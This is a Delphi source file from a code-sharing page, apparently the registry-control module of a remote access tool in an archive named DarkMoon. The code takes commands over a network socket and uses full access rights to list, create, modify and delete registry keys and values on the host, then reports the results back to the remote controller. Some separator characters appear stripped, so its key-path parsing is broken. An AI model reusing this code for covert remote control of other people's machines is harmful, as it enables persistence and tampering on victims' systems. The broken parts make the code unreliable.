DMURegister.pas
资源名称:DarkMoon.rar [点击查看]
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:14k
源码类别:
Delphi控件源码
开发平台:
Delphi
- unit URegister;
- interface
- uses Winsock, windows, UCommandsAndUtils;
- type
- TRegKeyInfo = record
- NumSubKeys: Integer;
- MaxSubKeyLen: Integer;
- NumValues: Integer;
- MaxValueLen: Integer;
- MaxDataLen: Integer;
- FileTime: TFileTime;
- end;
- TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary);
- TRegDataInfo = record
- RegData: TRegDataType;
- DataSize: Integer;
- end;
- procedure ContenidoClave(socket : Tsocket; const Clave, SubClave: String );
- procedure BorrarClave(socket : Tsocket; const Clave, SubClave: String );
- procedure BorrarValor(socket : Tsocket; const Clave, Valor: String);
- procedure CrearClave(socket : Tsocket; const Clave, NuevaClave: String);
- procedure ModificarValor(socket : Tsocket; Clave, Dato: String );
- procedure ListadoDeSubClaves( TKEY : HKEY; var cuentas : array of string; var len : Byte );
- function Dame_Valor( const Key: HKEY; const clave, valor: String ) : String;
- function ReadBinaryData(Key: HKey; const Name: string; var Buffer; BufSize: Integer): Integer;
- function GetDataSize(key: HKey; const ValueName: string): Integer;
- implementation
- var TKEY: HKEY;
- RegSocket : Tsocket;
- function Dame_Valor( const Key: HKEY; const clave, valor: String ) : String;
- var handle : HKEY;
- Tipo_Dato, Len_Dato : Cardinal;
- Buffer : String;
- begin
- RegOpenKeyEx( Key,
- PChar( Clave ),
- 0,
- KEY_ALL_ACCESS,
- handle );
- Tipo_Dato := REG_NONE;
- RegQueryValueEx( Handle,
- PChar( Valor ),
- nil,
- @Tipo_Dato,
- nil,
- @Len_Dato );
- SetString(Buffer, nil, Len_Dato);
- RegQueryValueEx( Handle,
- PChar( Valor ),
- nil,
- @Tipo_Dato,
- PByte(PChar(Buffer)),
- @Len_Dato );
- Result := PChar(Buffer);
- RegCloseKey( handle );
- Result := PChar(Buffer);
- end;
- ////////////////////////////////////////////////////////////////////////////////
- function DataTypeToRegData(Value: Integer): TRegDataType;
- begin
- if Value = REG_SZ then Result := rdString
- else if Value = REG_EXPAND_SZ then Result := rdExpandString
- else if Value = REG_DWORD then Result := rdInteger
- else if Value = REG_BINARY then Result := rdBinary
- else Result := rdUnknown;
- end;
- function GetDataInfo(Key: HKey;const ValueName: string; var Value: TRegDataInfo): Boolean;
- var
- DataType: Integer;
- begin
- FillChar(Value, SizeOf(TRegDataInfo), 0);
- Result := RegQueryValueEx(Key, PChar(ValueName), nil, @DataType, nil,
- @Value.DataSize) = ERROR_SUCCESS;
- Value.RegData := DataTypeToRegData(DataType);
- end;
- function GetDataSize(key: HKey; const ValueName: string): Integer;
- var
- Info: TRegDataInfo;
- begin
- if GetDataInfo(key, ValueName, Info) then
- Result := Info.DataSize else
- Result := -1;
- end;
- function GetData(Key: HKey; const Name: string; Buffer: Pointer;
- BufSize: Integer; var RegData: TRegDataType): Integer;
- var
- DataType: Integer;
- begin
- DataType := REG_NONE;
- if RegQueryValueEx(KEY, PChar(Name), nil, @DataType, PByte(Buffer),
- @BufSize) <> ERROR_SUCCESS then
- exit;
- Result := BufSize;
- RegData := DataTypeToRegData(DataType);
- end;
- function ReadBinaryData(Key: HKey; const Name: string; var Buffer; BufSize: Integer): Integer;
- var
- RegData: TRegDataType;
- Info: TRegDataInfo;
- begin
- if GetDataInfo(Key, Name, Info) then
- begin
- Result := Info.DataSize;
- RegData := Info.RegData;
- if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
- GetData(Key, Name, @Buffer, Result, RegData)
- else ;
- end else
- Result := 0;
- end;
- ////////////////////////////////////////////////////////////////////////////////
- procedure AbrirClave(const Clave, SubClave: String);
- var RKEY : DWORD;
- begin
- RKEY := DWORD($80000001);
- if Clave = 'HKEY_CLASSES_ROOT' then
- RKEY := DWORD($80000000);
- if Clave = 'HKEY_CURRENT_USER' then
- RKEY := DWORD($80000001);
- if Clave = 'HKEY_LOCAL_MACHINE' then
- RKEY := DWORD($80000002);
- if Clave = 'HKEY_USERS' then
- RKEY := DWORD($80000003);
- if Clave = 'HKEY_PERFORMANCE_DATA' then
- RKEY := DWORD($80000004);
- if Clave = 'HKEY_CURRENT_CONFIG' then
- RKEY := DWORD($80000005);
- if Clave = 'HKEY_DYN_DATA' then
- RKEY := DWORD($80000006);
- if RegOpenKeyEx (RKEY,
- PChar( SubClave ),
- 0,
- KEY_ALL_ACCESS,
- TKEY) <> ERROR_SUCCESS then
- TKEY := 0;
- end;
- //Crea o modifica un valor
- procedure ModificarValor(socket : Tsocket; Clave, Dato: String );
- var Tipo, Valor, Contenido : string;
- TmpInt, i : Integer;
- Error : Bool;
- begin
- Error := FALSE;
- i := Pos( '', Clave );
- AbrirClave( Copy( Clave, 1, i - 1 ),
- Copy( Clave, i + 1, Length( Clave ) ) );
- if TKEY <> 0 then
- begin
- Tipo := Copy( Dato, 1, 1 );
- Delete( Dato, 1 , 1 );
- Valor := split(Dato,'^',1);
- Contenido := split(Dato,'^',0);
- if Tipo = 'S' then//String
- Error := RegSetValueEx( TKEY, PChar( Valor ),
- 0, REG_SZ, PChar( Contenido ),
- Length( Contenido ) + 1 ) <> ERROR_SUCCESS;
- if Tipo = 'W' then
- begin//DWORD
- try TmpInt := StrToIntDef( Contenido, 0 ); except end;
- Error := RegSetValueEx( TKEY,
- PChar( Valor ), 0, REG_DWORD,
- @TmpInt, SizeOf( TmpInt ) ) <> ERROR_SUCCESS;
- end;
- if Tipo = 'B' then
- begin//Binary
- TmpInt := StrToIntDef( Contenido, 0 );
- Error := RegSetValueEx( TKEY,
- PChar( Valor ), 0,
- REG_BINARY, PChar( Contenido ),
- Length( Contenido ) ) <> ERROR_SUCCESS;
- end;
- RegCloseKey( TKEY );
- end;
- if Error then
- SendData (socket, '|Error To Create Value(' + Valor + '=' + Contenido + ')' )
- else
- SendData (socket, '|Value Created(' + Valor + '=' + Contenido + ')' )
- end;
- procedure BorrarValor(socket : Tsocket; const Clave, Valor: String );
- var i : Integer;
- begin
- i := Pos( '', Clave );
- AbrirClave( Copy( Clave, 1, i - 1 ),
- Copy( Clave, i + 1, Length( Clave ) ) );
- if TKEY <> 0 then
- begin
- if RegDeleteValue(TKEY, PChar( Valor ) ) = ERROR_SUCCESS then
- SendData (socket, '|Value Deleted(' + clave + valor + ')' )
- else
- SendData (socket, '|Error to Delete(' + clave+ valor + ')' );
- RegCloseKey( TKEY );
- end;
- end;
- procedure CrearClave(socket : Tsocket; const Clave, NuevaClave: String );
- var Aux : HKEY;
- i : Integer;
- begin
- i := Pos( '', Clave );
- AbrirClave( Copy( Clave, 1, i - 1 ),
- Copy( Clave, i + 1, Length( Clave ) ) );
- if TKEY <> 0 then
- begin
- if RegCreateKey( TKEY, PChar( NuevaClave ), Aux ) = ERROR_SUCCESS then
- SendData (socket,'|Key Created(' + clave + '' + nuevaclave + ')' )
- else
- SendData (socket,'|Error Create Key(' + clave + nuevaclave + ')' );
- RegCloseKey( TKEY );
- end;
- end;
- procedure BorrarClave(socket : Tsocket; const Clave, SubClave: String );
- var i : Integer;
- begin
- i := Pos( '', Clave );
- AbrirClave( Copy( Clave, 1, i - 1 ),
- Copy( Clave, i + 1, Length( Clave ) ) );
- if TKEY <> 0 then
- begin
- if RegDeleteKey(TKEY, PChar( SubClave ) ) = ERROR_SUCCESS then
- Senddata(socket,pchar('|Key Deleted(' + clave + subclave + ')' ) )
- else
- senddata(socket,pchar('|Error to Delete(' + clave + subclave + ')' ));
- RegCloseKey( TKEY );
- end;
- end;
- //Toma el contenido de una clave
- function GetValue(NValue : string; RetTipo : Byte; RgKey : HKEY) : string;
- var Buffer, TmpBuff: string;
- BuffInt, i : integer;
- DataType, DataSize : Cardinal;
- begin
- try
- if RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, nil, @DataSize) = ERROR_SUCCESS then
- begin
- if ( DataType = REG_SZ ) or ( DataType = REG_EXPAND_SZ ) then
- begin
- SetString(Buffer, nil, DataSize);
- RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize);
- Result := '<S>' + PChar(Buffer);
- end;
- if DataType = REG_BINARY then
- begin
- SetString(Buffer, nil, DataSize);
- RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize );
- for i := 1 to Length(Buffer) do
- TmpBuff:= TmpBuff + SigFrmToStr(Ord(Buffer[I]), '%02X');
- Result := '<B>' + TmpBuff;
- end;
- if DataType = REG_DWORD then
- begin
- RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, @BuffInt, @DataSize);
- Result := '<D>' + '0x' + UnSigFrmToStr(BuffInt, '%08X');
- end;
- if DataType = REG_NONE then
- begin
- SetString(Buffer, nil, DataSize);
- RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize);
- Result := '<N>' + PChar(Buffer);
- end;
- end;
- if Length( Result ) > 130 then
- Result := Copy( Result, 1, 130 );
- except end;
- end;
- //Devuelve un listado de los valores contenidos en la clave
- procedure ListadoDeSubClaves( TKEY : HKEY; var cuentas : array of string; var len : Byte );
- var info : TRegKeyInfo;
- i : integer;
- bSize : DWORD;
- tBuff : string;
- begin
- if RegQueryInfoKey(TKEY, nil, nil, nil,
- @info.NumSubKeys,
- @info.MaxSubKeyLen,
- nil,
- @info.NumValues,
- @info.MaxValueLen,
- @info.MaxDataLen,
- nil,
- @info.FileTime) = ERROR_SUCCESS
- then
- begin
- SetString(tBuff, nil, Info.MaxValueLen + 1);
- //Comienza a buscar el listado de claves o valores o ambos.
- for i := 0 to info.NumSubKeys - 1 do
- begin
- bSize := Info.MaxSubKeyLen + 1;
- RegEnumKeyEx( TKEY,
- DWORD( i ),
- PChar( tBuff ),
- bSize, nil, nil, nil, nil );
- Cuentas[ i ] := PChar( tBuff );
- end;
- Len := info.NumSubKeys - 1;
- end;
- end;
- //Devuelve un listado de los valores contenidos en la clave
- procedure ValoresClave( RegTypeRet : Byte; socket : Tsocket);
- var info : TRegKeyInfo;
- i : integer;
- bSize : DWORD;
- tBuff, tmp: string;
- cant : integer;
- data : string;
- datacount : integer;
- dataValues : string;
- dataValuescount : integer;
- begin
- Cant := 0;
- try
- RegQueryInfoKey(TKEY, nil, nil, nil,
- @info.NumSubKeys,
- @info.MaxSubKeyLen, nil,
- @info.NumValues,
- @info.MaxValueLen,
- @info.MaxDataLen, nil,
- @info.FileTime);
- if RegTypeRet = 1 then
- begin
- Cant := info.NumValues;
- SetString(tBuff, nil, Info.MaxValueLen + 1);
- end;
- if RegTypeRet = 0 then
- begin
- Cant := info.NumSubKeys;
- SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
- end;
- //Comienza a buscar el listado de claves o valores o ambos.
- for i := 0 to Cant - 1 do
- begin
- if RegTypeRet = 0 then
- begin
- bSize := Info.MaxSubKeyLen + 1;
- if RegEnumKeyEx(TKEY, DWORD( i ), PChar( tBuff ), bSize, nil, nil, nil, nil) = ERROR_SUCCESS then
- datacount:=datacount + 1;
- data:=data + PChar( tBuff ) + '' ;
- if datacount=30 then begin
- SendData (socket,'<rEgkEy>' + Data );
- Data:='';
- datacount:=0;
- end;
- end;
- if RegTypeRet = 1 then
- begin
- bSize := Info.MaxValueLen + 1;
- if RegEnumValue(TKEY, DWORD( i ), PChar( tBuff ), bSize, nil, nil, nil, nil) = ERROR_SUCCESS then
- begin
- dataValues:= dataValues + PChar( tBuff ) + '^' + GetValue( tbuff, 1, TKEY) + '^' + '*' ;
- // SendData (Socket,'<rEgvAlUE>' + PChar( tBuff ) + '^' + GetValue( tbuff, 1, TKEY) );
- end;
- end;
- end;
- if data<>'' then begin
- SendData (socket,'<rEgkEy>' + Data );
- end;
- if dataValues <> '' then begin
- SendData (Socket,'<rEgvAlUE>' + dataValues );
- end;
- except end;
- end;
- procedure ContenidoClave( socket: Tsocket; const Clave, SubClave: String );
- begin
- AbrirClave( Clave, SubClave );
- if TKEY <> 0 then
- begin
- ValoresClave( 1, socket );
- ValoresClave ( 0,socket );
- RegCloseKey( TKEY );
- end;
- // SendData (socket,'<rEgEnd>');
- end;
- end.